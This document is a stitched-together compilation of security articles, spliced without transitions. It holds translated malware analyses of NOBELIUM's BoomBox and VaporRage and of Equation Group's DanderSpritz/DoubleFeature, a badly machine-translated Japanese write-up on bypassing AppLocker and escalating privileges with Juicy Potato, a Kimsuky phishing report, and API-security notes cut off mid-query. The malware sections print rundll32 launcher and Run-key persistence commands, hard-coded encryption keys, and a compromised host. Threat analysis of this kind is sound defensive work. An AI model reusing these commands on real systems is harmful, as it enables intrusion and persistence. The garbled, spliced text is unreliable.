如上所示,掛載的ISO 包含一個可見文件,一個名為NV的快捷方式文件。但是,在Windows 中調整文件和文件夾設置以顯示隱藏文件和文件夾會暴露一個名為NV的隱藏文件夾和一個名為BOOM.exe的隱藏可執行文件:

img

用戶很可能會與NV.lnk進行交互,但是手動執行隱藏文件BOOM.exe也會導致系統被感染。下面詳細介紹了每個文件的各個內容。

2.NV.pdf(釣魚文件)掛載的ISO 中隱藏的NV 目錄包含一個名為NV.pdf的誘餌PDF 文件:

img

如本分析稍後所述,NV目錄的內容通過BOOM.exe顯示給用戶。

3.NV.lnk(惡意快捷方式)NV.lnk是隱藏文件BOOM.exe的快捷方式、啟動器。如下所示,該快捷方式利用了一個二進製文件(LOLBin) 來使用以下硬編碼的快捷方式目標值來代理BOOM.exe的執行:C:\Windows\System32\rundll32.exe c:\ windows\system32\advpack.dll,註冊OCX BOOM.exe。

img

還發現了此LNK 文件的變體,其中包含以下快捷方式目標值:C:\Windows\System32\cmd.exe /c start BOOM.exe。

圖標通常是文件夾,旨在誘使目標用戶認為他們正在打開文件夾的快捷方式。

還觀察到已知LNK 文件的以下目標:

C:\Windows\System32\rundll32.exe IMGMountingService.dll MountImgHelper

C:\Windows\System32\rundll32.exe diassvcs.dll InitializeComponent

C:\Windows\System32\rundll32.exe MsDiskMountService.dll DiskDriveIni

C:\Windows\system32\rundll32.exe data/mstu.dll,MicrosoftUpdateService

0x02 BoomBox:BOOM.exe(惡意下載器)BOOM.exe被微軟追踪為“BoomBox”,可以說是一個惡意下載程序。下載器負責下載和執行感染的下一階段組件。這些組件是從Dropbox 下載的(使用硬編碼的Dropbox Bearer/Access 令牌)。

執行時,BoomBox 確保在其當前工作目錄中存在名為NV 的目錄。如果該目錄存在,BoomBox 會在新的Windows 資源管理器窗口中顯示NV目錄的內容(讓用戶打開PDF 文件)。

img

接下來,BoomBox 確保系統上不存在以下文件:%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll(此文件將在本分析的後面部分介紹)。 BoomBox 會枚舉受害者係統的各種受害者主機信息,例如受害者係統的主機名、域名、IP 地址和用戶名,以編譯以下字符串:

img

接下來,BoomBox 使用硬編碼的加密密鑰“123do3y4r378o5t34onf7t3o573tfo73”和初始化向量(IV) 值“1233t04p7jn3n4rg”對上面的主機信息字符串進行加密。為了將數據偽裝成PDF 文件的內容,BoomBox 將PDF 的magic標記添加到上面的AES 加密主機信息字符串中:

img

BoomBox 繼續將上述數據(偽裝成PDF 文件)上傳到Dropbox 中的一個專門針對每個受害者的系統文件夾。出於演示目的,下麵包含用於將文件/數據上傳到Dropbox 的示例HTTP(s) POST 請求。

img

為確保文件已成功上傳到Dropbox,BoomBox 使用一組正則表達式值來檢查來自Dropbox 的HTTP 響應。如下所示,正則表達式用於檢查從Dropbox 收到的HTTP 響應中是否存在is_downloadable、path_lower、content_hash和size字段。值得注意的是,即使上傳操作不成功,BoomBox 也會忽略此檢查的結果並繼續進行。

img

接下來,BoomBox 從Dropbox 下載加密文件。出於演示目的,下面顯示了用於從Dropbox 下載加密文件的示例HTTP(s) POST 請求。

img

從Dropbox 成功下載加密文件後,BoomBox 丟棄加密文件頭部的前10 個字節和尾部的7 個字節,然後使用硬編碼的加密密鑰“123do3y4r378o5t34onf7t3o573tfo73”和IV 值對文件的其餘部分進行AES 解密“1233t04p7jn3n4rg”。 BoomBox 將解密後的文件寫入文件系統%AppData%\Microsoft\NativeCache\NativeCacheSvc.dll。然後,它通過創建名為MicroNativeCacheSvc的Run 註冊表值來為NativeCacheSvc.dll建立持久性:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicroNativeCacheSvc

Run 註冊表值使用以下命令填充,該命令用於使用rundll32.exe並通過調用其名為“ _configNativeCache ”的導出函數來執行NativeCacheSvc.dll:

rundll32.exe %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll _configNativeCache

接下來,BoomBox 從Dropbox 路徑/tmp/readme.pdf下載第二個加密文件,丟棄加密文件頭部的前10 個字節和結尾的7 個字節,然後對文件的其餘部分進行AES 解密(使用與上述相同的AES IV 和密鑰)。它在%AppData%\SystemCertificates\CertPKIProvider.dll 中寫入解密文件,然後使用與上面相同的rundll32.exe命令繼續執行先前刪除的文件NativeCacheSvc.dll。

如果系統已加入域,BoomBox 會執行LDAP 查詢以通過過濾器((objectClass=user)收集所有域用戶的專有名稱、SAM 帳戶名稱、電子郵件和顯示名稱等數據) (objectCategory=person))。

img

枚舉數據經過AES 加密(使用與之前相同的IV 和密鑰),封裝在偽造的PDF 文件中,並上傳到Dropbox 路徑/new/

0x03 NativeZone:NativeCacheSvc.dll(惡意加載器)NativeCacheSvc.dll,被稱為“NativeZone”,最恰當的描述是一個惡意加載器,它負責利用rundll32.exe加載惡意下載組件CertPKIProvider.dll。

NativeCacheSvc.dll的惡意功能位於configNativeCache的DLL 導出函數中。

img

如上所示,導出函數通過調用名為eglGetConfigs的導出函數執行rundll32.exe來加載*%AppData%\SystemCertificates\Lib\* CertPKIProvider.dll。

0x04 VaporRage:CertPKIProvider.dll(惡意下載器)CertPKIProvider.dll,被稱為“VaporRage”,被描述為一個shellcode 下載器。此版本的VaporRage 包含11 個導出函數,包括eglGetConfigs,它包含DLL 的惡意功能。

img

正如前面所提到的,NativeZone利用RUNDLL32.EXE執行eglGetConfigs的導出功能CertPKIProvider.dll。執行時,導出函數首先確保系統上存在NativeZone DLL %AppData%\Microsoft\NativeCache\NativeCacheSvc.dll(否則會終止)。接下來,導出功能向合法但受到攻擊的WordPress 站點holescontracting[.]com發出HTTP(s) GET 請求。 GET 請求由動態生成和硬編碼的值組成,例如:

img

GET 請求的目的是首先將系統註冊為受到威脅,然後從WordPress 站點下載XOR 編碼的shellcode blob。成功下載後,導出函數XOR 對shellcode blob 進行解碼(使用硬編碼的多字節XOR 密鑰“346hrfyfsvvu235632542834”)。

img

然後通過跳轉到可執行內存區域中shellcode blob 的開頭,繼續在內存中執行解碼的shellcode。下載、解碼、執行過程無限期地重複,大約每小時一次,直到從內存中卸載DLL。 VaporRage 可以執行其C2 服務器提供的任何兼容shellcode,包括Cobalt Strike 階段shellcode。

定制Cobalt Strike 加載器NOBELIUM 使用了多個自定義Cobalt Strike Beacon 加載器(可能使用自定義Artifact Kit 模板生成)來啟用其惡意活動。其中包括TEARDROP、Raindrop 和其他自定義加載器。

img

新的加載器DLL 包含誘餌導出名稱和函數,以及從合法應用程序借用的代碼和字符串。新的NativeZone 加載器可以分為兩種變體:

變體#1:這些加載器嵌入了編碼/加密的Cobalt Strike Beacon shellcode

變體#2:這些加載器從另一個附帶文件(例如,RTF 文件)加載編碼/加密的Cobalt Strike Beacon shellcode。

在接下來的部分中,我們將討論我們在調查中觀察到的一些新的NativeZone Cobalt Strike Beacon 變體。

NativeZone 變體#1與之前的NOBELIUM 自定義Cobalt Strike 加載器(例如TEARDROP 和Raindrop)類似,這些NativeZone 加載器負責解碼/解密嵌入式Cobalt Strike Beacon 階段shellcode 並在內存中執行它。一些NativeZone 加載程序具有反分析反調試功能以阻止對樣本的分析。

在這些版本的NativeZone 中,攻擊者使用了各種編碼和加密方法來混淆嵌入的shellcode。例如,在下面的示例中,NativeZone 變體使用簡單的字節交換解碼算法來解碼嵌入的shellcode:

img

img

另一個示例採用不同的解碼方法來解碼嵌入式shellcode,如下所示:

img

另一個示例採用去混淆方法,利用AES 加密算法解密嵌入的shellcode,如下所示:

img

下面顯示了另一個利用AES 解密嵌入式Cobalt Strike shellcode blob 的NativeZone 示例:

01.png

今年早些時候,Check Point Research發表了一篇關於“Jian”的文章。在這篇文章中,我們介紹了DanderSpritz框架。

DanderSpritz是什麼?DanderSpritz是Equation Group使用的一個功能齊全的開發後框架。這個框架通常是在利用設備並部署了PeddleCheap之後使用的。 DanderSpritz是非常模塊化的,包含各種各樣的工具,用於持久性、偵察、橫向移動、繞過防病毒引擎和其他此類可疑活動的各種工具。 DanderSpritz 結構和執行流程

在“Lost in Translation”洩漏的目錄樹中,可以發現DanderSpritz邏輯被分為兩部分:

1.png

dderspritz的核心功能包含在文件DszLpCore.exe中,該文件可以在windows/bin中找到。框架的插件和復雜組件,包括我們稍後將詳細討論的DoubleFeature,可以在windows/resources中找到。 fuzzbunch、implants 和windows 下的其他目錄包含獨立於DanderSpritz 的模塊,用於利用自身、控制受害者係統、初始數據收集等。

DanderSpritz 中的基本邏輯單元就是我們所說的“插件”,駐留在windows/resources中,大約有十幾個,它們有一個非常特定的目錄結構。

windows\\resources 下還有一些其他目錄,它們不是插件,而是包含各種輔助腳本。

2.png

Aliases和Commands:它們都包含聲明支持““aliases” 和“commands”的XML 文件,它們分別提供類似的功能。當DanderSpritz 框架的用戶發出一個shell 命令,DanderSpritz 將遍歷每個插件,檢查這些XML 並驗證他們是否聲明支持用戶輸入的shell 命令。如果命令出現在Aliases 下,它將被簡單地映射到現有腳本;命令通常會在幕後以某種方式調用插件的內部邏輯。這實際上意味著DanderSpritz 的用戶可以運行許多不同的shell 命令來實現不同的結果。在Commands(但不是Aliases )下,除了XML 之外,還有一個XSL 文件,它指定返回給DanderSpritz 用戶的命令輸出的格式。

Modules:大部分插件邏輯都包含在這個目錄中。從名稱可以看出,該邏輯被進一步劃分為更小的功能“模塊”。 descriptions子目錄包含一個XML 文件,它是一種“manifest”。它詳細說明了應該在受害者設備和“LP”(“Listening Post”,攻擊者控制的遠程監控受害者的設備)上運行哪些腳本和二進製文件。它還列出了插件對其他模塊的依賴、它的接口數據、它支持的計算架構以及它應該在受害設備上還是在LP 上運行。一些插件還包含具有類似功能的有效載荷目錄。

PyLp:包含XML 文件,用於格式化從受害者設備中洩露的傳入信息。對於每種“消息類型”(一種洩露的信息),XML 指定一個Python 腳本,用於格式化數據以方便顯示。此格式化腳本位於PyScripts 目錄中。

PyScripts:框架使用的所有雜項Python 腳本都在此目錄中。

Scripts:這個目錄還包含雜項腳本,這些腳本是用一些重印記的腳本語言編寫的,在Python 崛起之前,這些腳本語言似乎可以合理使用。

Tools:開發者認為他們寧願按原樣包含和調用的自包含材料(PE、DLL、腳本、JAR、文本文件等)。

Uploads:由插件推送到受害者係統的獨立二進製文件。

Version:包含一個包含插件版本的XML 文件。

下面我們詳細介紹調用插件Aliases或Commands時的典型控制流程。

DanderSpritz 用戶在DanderSpritz 用戶界面中輸入一個shell 命令,該命令在幕後使用該特定插件實現。

3.webp.jpg

DanderSpritz 的用戶界面及其shell 命令

1.DanderSpritz 的主要邏輯遍歷resources目錄,一個接一個地查看插件目錄。對於每個插件目錄,DanderSpritz 查看aliases 子目錄和commands 子目錄,並仔細檢查其中的XML 文件,尋找與shell 命令匹配的聲明的導出功能。找到匹配項,並且匹配的XML 元素指定插件的pyscripts 目錄中的路徑。

2.DanderSpritz 計算調用腳本的完全限定路徑(通過將匹配的XML 元素中指定的路徑附加到插件的pyscripts 目錄的路徑)並執行該文件。這是顯示調用的shell命令的用戶界面的位置,插件可以說是正常運行的。

3.現在,攻擊者可以隨時盯著他們調用的工具的UI。最終,他們可能希望通過此UI 調用某些功能。根據選擇的功能,Python UI 構造一個遠程進程調用。它將此RPC 發送到受害設備上的DanderSpritz 組件。受害者端的這個組件然後執行調用並返回結果。這樣,RPC 就被用作LP 上的組件訪問的API,以在受害設備上執行操作(例如收集屏幕截圖或錄製語音)。此API 與這些操作在受害組件端實際實現的方式分離。

4.RPC 返回攻擊者所需的寶貴信息,Python UI 在插件的PyLP 目錄中查詢與結果的消息類型匹配的XML。這個XML 指定瞭如何在LP 端顯示返回的信息,UI 也是如此。

4.png

特定命令的XML 文件(LP 和Target)示例

DoubleFeature為了更好地理解上述結構和流程,我們將研究重點放在了DanderSpritz 的一個名為Doublefeature(簡稱Df)的組件上。根據它自己的內部文檔,這個插件“生成關於可以部署在目標上的工具類型的日誌和報告”;許多框架工具,在它們自己的內部文檔中,聲稱DoubleFeature是唯一的方法來確認他們在一個被破壞的系統上的存在。經過一段時間的停頓,我們認為至少這意味著DoubleFeature 可以用作一種Rosetta Stone,以更好地理解DanderSpritz 模塊和受其影響的系統。

5.webp.jpg

strangeland.py 的代碼指的是確認的唯一方法是使用DF

不幸的是,由於DoubleFeature 作為日誌模塊的獨特功能,它收集了大量各種類型的數據。 RPC 返回值和XSL 標記不適合在這種規模上傳輸和顯示信息。

6.webp.jpg

DoubleFeature 主菜單

DoubleFeature PyScripts目錄包含Python的UI界面(doublefeature.py),但是當攻擊者從UI 菜單中選擇一個選項時,在幕後,腳本會變成一個“模板”DLL,DoubleFeatureDll.dll.unfinalized ,位於插件的上傳目錄中。 Python 調用插件工具目錄中的外部工具AddResource.exe ,將資源植入已編譯的DLL,使用新名稱:DoubleFeatureDll.dll.configured。確切的命令運行是:

*localrun-redirectcommand'cmpf61104'*'命令使用的標誌解釋如下。

c (compressed) ——Zlib 壓縮數據;

m (munge)=通過與偽隨機字節異或來混淆資源。字節是通過運行PRNG(32 位LCG)並使用執行時間戳作為種子生成的;為了允許恢復,種子被添加到混淆的資源中;

p (place)=將資源放入homebrew資源目錄;

f (finalize)=私有資源目錄;

6=資源類型(此時,枚舉值6 轉換為RT_STRING,一個字符串表條目);

1104=資源名稱。

在主插件DLL ** 被賦予這個新資源後,Python UI 使用DanderSpritz dllload shell 命令將其加載到受害設備上:

dllload -ordinal 1 -library

一旦受害者端的DLL 完成運行並將報告寫入受害者設備上的日誌文件,Python UI 就會使用以下DanderSpritz shell 命令將日誌文件提取回攻擊者設備:

foregroundget-nameDFReport雖然DanderSpritz 命令的大部分輸出是根據XSL 規範查看的,但DoubleFeature 的輸出太大且變化太多,因此這種方法不可行。相反,攻擊者通常使用為此目的編寫的專門程序——DoubleFeatureReader.exe,查看日誌文件,該程序可以在插件的工具目錄中找到。

DoubleFeature 將其所有日誌數據寫入名為~yh56816.tmp 的調試日誌文件嗎,此日誌文件使用AES 算法加密。除非用戶手動更改密鑰,否則使用的默認密鑰是badc0deb33ff00d。

DoubleFeature 的主DLL當修復的DLL ( DoubleFeatureDll.dll.configured ) 首次加載到受害設備上時,它會在自製軟件資源目錄中查找名為“106”的資源。該目錄位於實際代碼之後的“.text”部分,DLL 能夠通過搜索不同的魔法值來找到它。 homebrew 資源目錄具有以下結構:

7.png

這個資源(與之前通過調用AddResource.exe移植到DLL的資源不同)在靜止狀態下是加密的,為了使用它,必須對它進行解密和解壓縮。

8.png

資源106 解壓縮後,是一個名為hidsvc.sys 的驅動程序。它通過調用CVE-2017-0005 的EpMe 漏洞加載到內核中。加載驅動程序後,DLL 開始使用DeviceIoControl 與其通信。驅動程序支持的最有趣的IOControlCode 是0x85892408,它允許用戶模式代碼通過簡單地指定功能名稱和參數來直接調用內核功能。驅動程序希望使用此代碼的傳入消息與以下結構捆綁在一起:

9.png

在接收到這個結構體後,驅動程序遍歷ntoskernl.exe 的每個導出函數,計算結果校驗和並將結果與提供的export_func_hash 進行比較。一旦找到匹配項,驅動程序就會得出結論,它已找到正確的函數。這是混淆API 調用的標準方法,在許多其他惡意軟件中都可以看到。

校驗和計算邏輯如下所示:

10.png

一些校驗和值示例:

11.png

這還不是唯一的困難,DoubleFeature 中使用的字符串是解密的,這本身就是非常標準的,但按需對每個函數進行解密,一旦函數執行完成,它們就會重新加密,這比平常更令人沮喪,DoubleFeature 還支持其他混淆方法,例如簡單的替換密碼:

12.png

以及一個基於簡單自製線性PRNG的流密碼:

13.png

如上所述,憑藉其函數,DoubleFeature 是與Equation Group工具相關的唯一知識來源。畢竟,整個日誌記錄模塊依賴於在受害系統上查詢這些工具並驗證哪些工具存在的能力。下面我們列出了日誌模塊探測到的一些工具,其中一些是未知的。

除了在DLL 的執行流程中使用的資源106 和1104 外,主DLL 的homebrew資源目錄還包含以下資源:

資源1004:UnitedRake 重新啟動DLL。

資源1005:UnitedRake 關閉DLL。

資源1006:StraitBiZarre 重新啟動DLL。

資源200:與BCD 分區數據進行比較的已知引導管理器的哈希值。

資源1007:升級KillSuit 模塊DLL,在代碼中可以找到對它的引用,但在目錄中不再物理找到它。可能它存在於DLL 的早期版本中,後來被刪除了。

DoubleFeature 監控的插件UnitedRakeUnitedRake (UR) 是一種遠程訪問工具,可用於針對Windows 設備。它是一個可擴展的模塊化框架,提供了大量執行不同信息收集功能的插件。

UnitedRake 指標如下:

1.MSNDSRV.sys:內核模式階段0 和rootkit。實現用於過濾網絡流量的NDIS 驅動程序。直到UR 4.0 版。

2.ATMDKDRV.sys :網絡嗅探器/修復程序。從UR 4.1 版開始。

3.“Software\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2109}\TypeLib” or “\Registry\Machine\SOFTWARE\Classes\CLSID\{091FD378-422D-A36E-8487-83B57ADD2209}\TypeLib”:包含UR 的GUID,特殊項註冊表項

4.“\Registry\Machine\System\CurrentControlSet\Control\Session Manager\MemSubSys\{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}”:KillSuit記錄與註冊表相關的數據。

5.“Global\64322D88-0CEA-4ce0-8562-67345B70C655”:在TipOff 命令中創建的文件映射。

6.“*Global\*6F27089A-3482-4109-8F5B-CB3143A1AB9A” 和“*Global\*667FBF02-F406-4C0A-BA65-893747A0D372”:在UR 關閉時創建的事件。

7.{A0CCDC61-7623-A425-7002-DB81F353945F-5A8ECFAD}: UnitedRake 3/4 配置數據和傳輸信息CLSID;

8.{30F3976F-90F0-B438-D324-07E031C7507E-981BE0DD}:UnitedRake 插件信息CLSID;

9.{95FFB832-8B00-6E10-444B-DC67CAE0118A-F6D58114}:UnitedRake 記錄數據CLSID;

10.{01C482BA-BD31-4874-A08B-A93EA5BCE511} :UnitedRake 的互斥鎖名稱。

StraitBizarreStraitBizarre (SBZ) 是一種用於隱秘數據洩露的植入程序,它通過FriezeRamp 執行——一種類似於IPSEC 的自定義網絡協議。這是一個跨平台項目,存在支持Windows、Linux 和移動平台的不同版本(例如iPhone 的DROPOUTJEEP,甚至Windows Mobile 的TOTEGHOSTLY)。

14.webp.jpg

StraitBizzare 信息

我們在DoubleFeature 中發現了以下StraitBizarre 指標:

{1B8C5912-8BE4-11D1-B8D3-F5B42019CAED}:用於GUID,版本和特殊狀態項的SBZ CLSID。

0x01はじめに

ヒント:否定的なケースとして見てください。実際、あなたがそれを得る方法は、以下に言及しているものよりもはるかに厄介ではありません。私はただ焦りすぎていると自分自身を責めています.

もともとはBCプロジェクトによって作成されたプロモーションサイトでしたが、当時はシェルしかありませんでした

图片

許可は通常のユーザーです。サーバー上の情報をさらに収集する許可を提起したいとき、彼はさまざまなことを実行することが許可を拒否されることを発見し、グループポリシーにプログラムをブロックするよう促しました。当時、他のことがあったため、彼はそれを研究し続けませんでした(プロジェクトは関連部門によって承認されており、ユーザー名はより敏感であり、プロセス全体が後でコーディングされます)。

图片

0x02バイパスアップルロッカー

私は最近突然それを覚えていたので、私はそれを続け、グループのマスターに尋ねました

图片

それが何であるかを知った後、簡単に言うことができます。辛抱強く探していると、常に何かを獲得します。 Applockerはじめに:

https://baike.baidu.com/item/applocker/2300852?fr=aladdinそれからマスター3gの記事を見つけました。

https://3gstudent.github.io/3gstudent.github.io/use-msxsl-to-bypass-applocker/suse who rease nows ows。記事を読んだ後、フォローアップの一般的なアイデアが明らかになります。

0x03オンラインでエスカレートする

私が思うのは、バイパスアップルロッカーにより、ターゲットサーバーはターゲットサーバーを実行し、馬が起動した後にその後の権利の引き上げを実行できるということですが、実行はシェルの下で実行されます

ネットユーザー、タスクリスト /SVCなどをエコーしないでください。そうしないと、プロセス比較を使用してソフトソフトウェアを判断できます(私が書いた小さなホイールで、一致するプロセスは960+:3http://get-av.se7ensec.cn/に増加しました)

わからないので、私は自分のキャラクターを競い、ホストにキリングソフトウェアがないことに賭けます。上記の3Gマスター記事の3番目の方法で馬を走らせた後、下のマシンを無視してオンラインになりました.

图片

CSが起動された後、次のようなコマンドを実行すると、タスクリスト/SCVは引き続きアクセスが拒否されます。

图片

次に、組み込みのCSシステムプロセスコマンド「PS」を試して、システムプロセスを正常にリストしました。それを見た後、それは本当にソフトウェアを殺しませんでした。

/*スクリーンショットを撮るのを忘れた */

走る "

Shell SystemInfo「システムとパッチ情報が見えることがわかりましたが、システムにはいくつかのパッチがありませんでした。私は幸運でした。ユーザーの許可をチェックした後、Juicy Potatoの要件を満たしました。

テスト後、それが起動されたことがわかりました(実際、実行許可はありましたが、その時点で何かが間違っているとは思っていませんでした。後で記事を要約したときに何かが間違っていることに気付きました。詳細については、記事の最後を参照してください)。 c: \ users \ public \には実行権限があります。 Juicy Potatoを使用してWhoamiパラメーターを実行し、システムに正常に戻りました。

图片

その後、それを使用して直接降りると、システムセッションは数秒で行われます。ディレクトリをめくった後、私はそれがまだウェブサイトグループであることがわかりました。

图片

管理者許可のスクリーンショットを取ります。たくさんあるのも不思議ではありません。彼らはすべてバッチでWebサイトを構築することがわかりました:

图片

0x04要約

今回は幸運でキラーに出会わなかったことが起こりました。そうでなければ、それはでこぼこの道であり、より挑戦的です。

最も失敗するのは、今回はApplockerの機能のいくつかを完全に理解していなかったことです。

https://www.anquanke.com/post/id/159892、私はバイパス法を検索することを切望していて、それを使用し始めました。実際、私が今回遭遇したのは、ファイルパスの単なる制限でした。 c: \ users \ public \はプログラムを実行できます。以前に見つけるのはそれほど難しくありません。ただし、Applockerメカニズムを完全に理解できることも報酬です。

元のリンクから転載:https://mp.weixin.qq.com/s/ede6g1g4hbmkxq6tkieq

1.概述近期,安天CERT(安天應急響應中心)在梳理安全事件時,發現一例偽裝成韓國互聯網安全局(KISA)研究員針對韓國新聞行業重要人物進行魚叉釣魚的網絡攻擊活動,經研判分析,此次活動來自Kimsuky組織。 Kimsuky是一個疑似來源於半島方向的網絡間諜組織,其至少自2012 年以來一直保持活躍。該組織的最初攻擊目標主要是韓國的政府、軍隊、外交、智囊團以及各領域專家,如今已擴展覆蓋至歐美、俄羅斯、日本等亞洲國家和地區,其情報收集活動的重點也從最初的與半島方向相關外交政策和國家安全問題拓展到數字貨幣等領域。

此次釣魚攻擊手法可總結如下:攻擊者首先通過老版本的BBS論壇程序漏洞入侵一批網站,上傳Webshell控製網站服務器用作跳板,掛載功能腳本和待分發的載荷。然後攻擊者發送魚叉式釣魚郵件,等待受害者的機器中招後下載跳板上的載荷,執行後可獲得受害機器的系統信息、文件和憑證等重要數據。

2.攻擊流程分析經過分析還原,推測攻擊流程如下:攻擊者首先通過BBS漏洞入侵了網站,然後上傳Webshell及其他攻擊活動中所需要的組件到web服務器,web服務器作為跳板機,實現發送郵件、接收受害者信息、提供惡意載荷下載等功能。最後攻擊者構造釣魚郵件投遞到目標機誘導用戶執行,攻擊者可通過Webshell獲取收集到的受害者信息。

图 2 1 攻击流程示意图.jpg

圖2‑1 攻擊流程示意圖

3.釣魚郵件分析表3‑1二進制可執行文件

3-1.png

此次攻擊活動目標為駐韓-韓國境內的Daily NK代表,攻擊者向其發送標題可譯為“210813_Business Contact (Cyber Safety)”的釣魚郵件,釣魚郵件中僅包含了一個含有惡意宏的doc附件。

表3‑2郵件信息

3-2.png

釣魚郵件的內容如下所示。

图 3 1 钓鱼邮件.jpg

圖3‑1 釣魚郵件

值得注意的是,該附件打開時需要密碼,等目標郵件詢問正確的密碼時,攻擊者將回复補充密碼。仿冒真實案例[1],此次行動中回复的內容大致為“我很抱歉,先生。看來我犯了一個錯誤。密碼是cyber08^。謝謝。Dongwook Kim 高級研究員。”

图 3 2 附件打开时需要密码.jpg

圖3‑2 附件打開時需要密碼

图 3 3 攻击者回复补充密码[1].jpg

圖3‑3 攻擊者回复補充密碼[1]

攻擊者以文檔創建於早期Word版本作為藉口,誘導目標啟用宏。

图 3 4 诱导目标启用宏.jpg

圖3‑4 誘導目標啟用宏

文檔中的宏代碼主要實現兩部分功能,一部分用於顯示出文檔中的誘餌內容,另一部分用於從服務端下載惡意載荷並執行。

图 3 5 文档中的宏代码.jpg

圖3‑5 文檔中的宏代碼

正文誘餌內容大致以韓國網絡振興院的口吻描述智能手機感染惡意程序的應對方法,以增強文檔的可信性。

图 3 6 显示出的诱饵内容.jpg

圖3‑6 顯示出的誘餌內容

創建1589989024.xml文件到模板路徑下,並通過調用wscript.exe來執行xml中的vbscript代碼,VBScript代碼用於從服務端下載惡意載荷並執行。代碼內容如下:

图 3 7 下载恶意载荷的代码.jpg

圖3‑7 下載惡意載荷的代碼

图 3 8 xml文件内容.jpg

圖3‑8 xml文件內容

分析過程中載荷已被刪除,因此無法對後續載荷進行分析,但參考以往同源樣本可估測後續實現的功能主要如下[2]:

1) 將VBAWarnings數據添加到MS Office註冊表中以此更改安全功能。

2) 構造特定的http數據頭,並將收集的信息(系統信息、進程列表、最近訪問的文件等)經過Base64編碼後傳回跳板機。

3) 設置計劃任務用於執行跳板機中的其它惡意代碼。

4) 執行經過Base64編碼的PowerShell腳本,運行帶有惡意的鍵盤記錄功能,以記錄用戶的鍵盤輸入。

图 3 9 击键记录功能的Powershell脚本[2].jpg

圖3‑9 擊鍵記錄功能的Powershell腳本[2]

4.跳板機分析4.1 Webshell分析經過研判,載荷分發服務器的性質為跳板機,通過掃描發現某目錄下存在Webshell,根據服務器運行內容判斷攻擊者可能通過BBS漏洞入侵,得手後上傳Webshell來對服務器進行操作,包括上傳工具腳本和處理日誌結果。

對Webshell分析發現其採用的是嵌套的gzinflate和base64_decode做加密:

图 4 1 Webshell代码.jpg

圖4‑1 Webshell代碼

該工具可能為Kimsuky組織自研的Webshell工具,能夠獲取網站服務器的操作系統版本、操作系統名、主機名、cpu型號、IP地址等信息,具備目錄選擇及文件的下載、重命名、刪除、查看、上傳等功能。图 4 2 Webshell界面.jpg

圖4‑2 Webshell界面

在對網站文件排查時發現日誌文件中記錄如下信息,猜測在攻擊過程中如果檢測到目標存在分析行為,會自動刪除所有文件。

图 4 3 文件删除的日志.jpg

圖4‑3 文件刪除的日誌

4.2 發件工具分析跳板機中的其餘惡意文件已被刪除,只觀察到其中部分php文件。發現遺留的php文件中包含可能為該組織自有的發件工具,將該發件工具插入到跳板機的web目錄中,設置好可用來操縱跳板機發送郵件。

spacer.gif 图 4 4 轻量级邮件发送工具.jpg

圖4‑4 輕量級郵件發送工具

4.3 受害日誌分析跳板機會將受害者主機的信息存放到文件中,此行為猜測應為上述宏文檔下載的後續惡意載荷所具備的功能。文件中收集的信息包括:基礎系統信息、反病毒產品列表、特殊文件夾下的文件-最近編輯或打開的、進程列表信息。受害機中的文件名中含有許多“報導資料”、“平澤”字樣以及許多時事新聞內容,以此推測受害者是一名韓國人,且且應是新聞從業人員。

图 4 5 收集到的受害者信息.jpg

圖4‑5 收集到的受害者信息

根據對收集到的日誌、郵件等信息進行分析,我們發現連接Webshell的IP與魚叉郵件中的發件IP一致(192.203.145.*)。查詢到該IP地址歸屬於韓國建國大學,其只曾開放過3389端口且當前已關閉,無法繼續分析,猜測其可能是攻擊者攻陷的跳板機。

图 4 6 发送鱼叉邮件的IP所指向的主机.jpg

圖4‑6 發送魚叉郵件的IP所指向的主機

5 威脅框架映射本次系列攻擊活動共涉及ATTCK框架中9個階段的13個技術點,具體行為的技術特點分佈圖如下:图 5 1 技术特点对应ATT&CK的映射.jpg

圖5‑1 技術特點對應ATTCK的映射

具體的ATTCK技術行為描述表如下:

表5-1 ATTCK技術行為描述表

5-1.png

6.總結Kimsuky組織作為半島方向的APT組織,一直保持著很高的活躍度,其對熱點事件尤其是軍事政治和外交等相關的事件保持較高的關注,該組織在攻擊過程中體現出輕量化、多階段腳本載荷的特點,以避免檢測或延遲分析時間。此次攻擊活動與以往攻擊活動相似,均是入侵網站將其作為跳板機同受害機通信,此類攻擊手法能夠在一定程度上減少暴露的可能。

附錄:參考資料[1] 북한 해킹조직 ‘탈륨’, KISA 직원까지 사칭…전방위 공격

https://www.dailynk.com/20210817-4/

[2] 탈륨조직, 국내 블록체인 기업 체불확인원 문서로 공격 수행

https://blog.alyac.co.kr/3458

HireHackking

API安全学习笔记

必要性

前后端分离已经成为web的一大趋势,通过Tomcat+Ngnix(也可以中间有个Node.js),有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务(多种客户端,例如:浏览器,车载终端,安卓,IOS等等)打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。
本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中,如有错误,还望各位斧正。

常见的api技术

GraphQL

GraphQL 是一个用于 API 的查询语言
通常有如下特征:
(1)数据包都是发送至/graphql接口
i5q1xrdo00t14878.png
(2)其中包含了很多换行符\n

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              